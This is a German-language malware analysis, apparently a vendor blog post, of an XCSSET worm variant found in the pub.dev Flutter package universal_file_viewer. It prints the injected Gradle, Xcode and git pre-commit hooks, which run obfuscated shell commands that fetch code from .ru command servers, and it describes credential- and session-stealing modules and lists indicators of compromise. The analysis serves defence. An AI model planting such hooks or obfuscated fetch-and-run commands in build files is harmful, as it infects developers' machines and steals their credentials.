Heute reiht sich pub.dev in die Liste der Paket-Registrys ein, auf denen wir Malware gefunden haben. Wir haben eine Variante von XCSSET entdeckt, die sich in universal_file_viewer (Version 0.1.5) versteckt, einem Flutter-Dateivorschau-Paket auf pub.dev mit rund 500 Downloads. Dies ist das erste kompromittierte Paket, das wir auf pub.dev, dem offiziellen Paket-Repository für Dart und Flutter, entdeckt haben. Im Gegensatz zu den kürzl. Lieferkettenangriffen auf npm die Ihnen vielleicht bekannt sind, handelte es sich hierbei nicht um einen gezielten Angriff auf dieses Paket.
XCSSET ist ein macOS-Wurm, der einen bösartigen Build-Hook in jedes Android-Gradle-Projekt, Xcode-Projekt und Git-Repository einfügt, das er auf einem kompromittierten Rechner finden kann. Der Rechner des Maintainers war infiziert, und als er eine neue Version des Pakets von diesem Rechner aus veröffentlichte, wurden die infizierten Dateien mitgeliefert. Das pub.dev-Paket lässt sich auf ein kompromittiertes GitHub-Repository zurückführen.
Eine kurze Suche auf GitHub zeigt, dass dies auch heute noch geschieht, da andere Maintainer unwissentlich weiterhin infizierte Projekte veröffentlichen:

Für weiteren Kontext zu XCSSET siehe den Unit-42-Bericht The Xcode Assassin Returns sowie die Beiträge von Microsoft aus März und September 2025.
Was wir im Paket gefunden haben
universal_file_viewer ist ein pub.dev-Paket, das Inline-Dateivorschau-Widgets für Flutter-Apps bereitstellt: PDF, Word, Excel, Video, Markdown und Plain Text. Dessen Dart-Bibliothekscode in lib/ ist vollkommen sauber. Die infizierten Dateien befinden sich alle im Verzeichnis example/ , das im pub.dev-Tarball enthalten ist, aber niemals kompiliert wird, wenn das Paket als Abhängigkeit verwendet wird. Das einfache Hinzufügen von universal_file_viewer zu Ihrer pubspec.yaml und das Erstellen Ihrer eigenen App lösen nichts aus. Das Risiko besteht für Personen, die das Repository klonen und die Beispiel-App explizit lokal bauen. Dies ist kein gezielter Angriff auf das Paket oder dessen Abhängigkeiten. Der Wurm hat sich einfach an alle Build-Dateien geheftet, die er auf dem infizierten Rechner des Maintainers gefunden hat, und die meisten Nutzer des Pakets werden niemals davon betroffen sein.
Drei separate Build-Konfigurationen wurden infiziert, jede davon unabhängig durch die Wurmmodule von XCSSET injiziert:
example/android/app/build.gradle.kts enthält einen preBuild -Hook, der vom android_finder -Modul injiziert wurde:
tasks.all {
if (name.contains("preBuild")) {
doLast {
ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
}
}
}printf xAxd | tr -d A rekonstruiert xxd zur Laufzeit, um stringbasierte Scanner zu umgehen. Das Hex-Blob dekodiert zu einem Curl-Befehl an 5yotmxcc54l9xda[.]ru/a mit dem Kampagnen-Tag p=android_kotlin. Dies wird bei jedem Gradle-Build im Hintergrund ausgeführt, wobei die Ausgabe verworfen wird.
example/ios/Runner.xcodeproj/project.pbxproj und example/macos/Runner.xcodeproj/project.pbxproj enthalten beide einen PBXBuildRule Eintrag, der ausgelöst wird, wenn eine .md Datei während eines Builds verarbeitet wird:
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";A3EA261 ist eine Build-Einstellung, die in derselben Datei definiert ist. Für iOS ist sie Base64-verschleiert (printf bdase64 | tr -d d) und verweist auf qdgs232i-q[.]ru mit dem Tag p=xcode_rule. Für macOS ist sie Hex-verschleiert (printf xxVd | tr -d V) und verweist auf ejntin6hkjt7gj2[.]ru ) mit demselben Tag. Beide werden beim Build des Projekts ausgeführt.
Die Infektionskette
XCSSET besteht aus mehreren Phasen und Modulen, von denen jedes eine spezifische Aufgabe erfüllt.
Phasen
- Phase 1: Der Build-Hook kontaktiert den C2-Server und erhält ein Skript zurück, das mit dem Betriebssystem und dem Benutzernamen eine erneute Anfrage stellt
- Phase 2: Der Server gibt ein verschlüsseltes Shell-Skript zurück, das die Seriennummer der Hardware und das Gebietsschema erfasst und den Hauptloader herunterlädt auf
/tmp/h, erstellt ein unsichtbares App-Bundle darum, startet es und löscht beide innerhalb von zehn Sekunden - Stufe 3: Der Loader ist ein rein ausführendes, kompiliertes AppleScript, das sich selbst mit AES-256-CBC über einen tagesbasierten Schlüssel entschlüsselt und die entschlüsselte Nutzlast dann im Arbeitsspeicher ausführt
- Stufe 4: Die entschlüsselte Nutzlast ist der Haupt-Orchestrator, der alle Module steuert
Ausbreitungsmodule
android_finder: injiziert einen schädlichenpreBuildHook in jedes Android-Gradle-Projekt auf dem Computer. Jede entwickelnde Person, die eines dieser Projekte erstellt, infiziert sich ebenfallsgit_finder: schreibt einen schädlichenpre-commitHook in jedes Git-Repository auf dem Computer. Wird bei jedem Commit ausgeführtreplicator_finder: injiziert eine schädliche Build-Phase in jedes Xcode-Projekt auf dem Computer. Jede entwickelnde Person, die eines davon erstellt, wird infiziert
Persistenz
persist: ersetzt die Launchpad-Kachel im Dock durch ein gefälschtes Bundle, das die Kette jedes Mal neu auslöst, wenn der Benutzer darauf klickt. Überlebt Neustarts und hinterlässt keine Spuren an standardmäßigen Speicherorten für Persistenz
Diebstahlmodule
browser_remote: entfernt den Eintrag aus dem Safe-Storage Schlüsselbund von Chrome, um den neu generierten Verschlüsselungsschlüssel abzufangen, und exfiltriert dann gespeicherte Passwörter, Cookies und Session-Tokensafari_remote: platziert ein gefälschtes Safari-Bundle und exfiltriert die lokalen Safari-Datenfirefox_data: platziert eine native Binärdatei und exfiltriert Firefox-Anmeldeinformationentdesktop: beendet Telegram, ersetzt es durch eine trojanisierte Kopie und zielt auf Sitzungsdaten abnotes_app: wartet, bis Notizen, Erinnerungen oder Kalender geöffnet werden, und exfiltriert dann deren Datenclipboard: liest und exfiltriert den Inhalt der Zwischenablagesettings_app: gibt sich als Systemeinstellungen aus und verwendetsudozur Privilegieneskalationdata_folders_finder: durchsucht das Home-Verzeichnis und exfiltriert Dateien aus zielgerenderten Ordnern
Alle Diebstahlmodule werden vom C2 abgerufen und per [...] im Arbeitsspeicher ausgeführt osascript. Es wird nichts auf die Festplatte geschrieben. Gestohlene Daten werden vor dem Senden mit AES-256-CBC verschlüsselt an /u.
Wie sich die Malware verbreitet
Bevor Diebstahlmodule ausgeführt werden, sendet der Loader drei Worm-Module aus.
android_finder
android_finder durchsucht das Home-Verzeichnis nach Android-Build-Dateien:
nice -n 15 find ~ -maxdepth 6 \
\( -type d \( -name Movies -o -name Library ... \) -prune \) \
-o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -printBei jedem Treffer wird vor der Injektion überprüft, ob es sich um ein echtes Android-Modul handelt, und eine eventuelle Altvirusinfektion bereinigt. Es werden sowohl Kotlin-DSL- als auch Groovy-Build-Dateien unterstützt. Jede Entwickelnde, die eines dieser Projekte baut, infiziert sich – ebenso wie alle, die das Repository klonen und danach kompilieren.
git_finder
git_finder findet jedes .git Verzeichnis auf dem Rechner und schreibt einen schädlichen pre-commit Hook in jedes Verzeichnis. Die Hook-Nutzlast ist polymorph: C2-Domain, Kodierungsschema und Verschachtelungstiefe werden pro Infektion zufällig generiert. Das Ergebnis sieht wie folgt aus:
#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)Jeder von der Entwickelnden in einem beliebigen Repository durchgeführte Commit löst die gesamte Kette im Hintergrund erneut aus. Falls bereits ein Hook existiert, entfernt das Modul die zuvor injizierten Zeilen über sed vor dem Anhängen.
replicator_finder
replicator_finder ist der klassische XCSSET-Vektor. Er analysiert project.pbxproj Dateien, sucht nach archiveVersion = und PBXShellScriptBuildPhase-Abschnittund fügt eine Run-Script-Build-Phase ein. Jede/r Entwickelnde, die/der ein infiziertes Xcode-Projekt öffnet und erstellt, ist betroffen. Dies ist seit 2020 dokumentiert und bleibt neben den beiden anderen Vektoren Teil des Toolkits.
In der Taskleiste (Dock) versteckte Persistenz
Der persist Das Modul gibt Aufschluss darüber, ob dies einen Neustart übersteht. Das ist der Fall, und zwar auf eine Weise, die den üblichen Persistenzprüfungen entgeht.
Es lädt dockutil vom C2 herunter (/d/dockutil_arm64 oder /d/dockutil_amd64), signiert es ad-hoc und erstellt ein gefälschtes App-Bundle unter ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. Das Info.plist des Bundles wird gepatcht, um Launchpad zu imitieren:
plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plistEs verwendet anschließend dockutil , um die echte Launchpad-Kachel im Dock durch das gefälschte Bundle zu ersetzen. Ein Klick auf Launchpad öffnet das echte Launchpad (open -b com.apple.launchpad.launcher) und führt gleichzeitig das schädliche Skript aus. Bei jedem Neustart wird es beim ersten Klick des Benutzers auf Launchpad ausgeführt.
Stealer-Module
Nachdem Verbreitung und Persistenz eingerichtet sind, ruft der Loader Diebstahlmodule ab. Jedes Modul wird von /s/<module> abgerufen und über osascript -e "$(curl ...)"ausgeführt. Es wird nichts auf die Festplatte geschrieben.
browser_remote lädt eine native Binärdatei (cd_arm64 oder cd_amd64) vom C2 herunter, entfernt die Chrome- GoogleUpdater und SoftwareUpdate Einträge und führt security delete-generic-password aus, um den Safe-Storage-Schlüsselbund-Eintrag von Chrome zu löschen. Durch das Entfernen dieses Eintrags wird Chrome gezwungen, seinen Verschlüsselungsschlüssel neu zu generieren, den die Binärdatei abfängt, um gespeicherte Passwörter, Cookies und Sitzungstokens zu entschlüsseln.
safari_remote legt ein gefälschtes Safari-Bundle unter ~/Library/ASafari/ und ~/Library/Caches/com[.]beta[.]Safari ab und exfiltriert die lokalen Safari-Daten.
firefox_data lädt hbdm_arm64 oder hbdm_amd64 herunter und führt es mit -c password --zipaus, wodurch eine firefox_browser_data.zip erstellt wird, die hochgeladen wird auf /u.
tdesktop führt aus killall -9 Telegram, lädt ein neu verpacktes Telegram.app vom C2 herunter und ersetzt das Original durch eine Version mit Ad-hoc-Signierung. Es zielt auf die Telegram-Sitzungsdaten sowohl des klassischen Pfads (~/Library/Application Support/Telegram Desktop/tdata) und dem sandboxed Container-Pfad.
notes_app wartet, bis Notes, Reminders oder Calendar ausgeführt werden, platziert sich im entsprechenden App-Bundle und schleust Daten aus notes_app_data.zip.
clipboard führt eine pbpaste Schleife aus und exfiltriert den Inhalt der Zwischenablage.
settings_app erstellt ein gefälschtes System Settings-Bundle, das in Spotlight unter „System Preferences“ und „Preferences“ aufgelistet wird, lädt eine separate Binärdatei mac_bin_daemon_app vom C2 herunter und führt Befehle via sudo -u zur Rechteausweitung aus.
data_folders_finder durchsucht das Home-Verzeichnis und exfiltriert Dateien aus zielgerichteten Ordnern nach /u.
Alle gestohlenen Daten gehen an /u über Multipart-POST, verschlüsselt mit einem AES-256-CBC-Key.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Indikatoren für Kompromittierung
C2-Domains
5yotmxcc54l9xda[.]ruqdgs232i-q[.]ruejntin6hkjt7gj2[.]ru
Dateiartefakte
project.pbxprojmit einerPBXBuildRulemitsh -c "${A3EA261}"build.gradleoderbuild.gradle.ktsmit verschleierter Shell-Ausführung unter Verwendung vonprintf xAxd | tr -d Azum Rekonstruieren vonxxd.git/hooks/pre-commitenthältbase64 --decode | base64 --decodeoderxxd -p -r | xxd -p -r
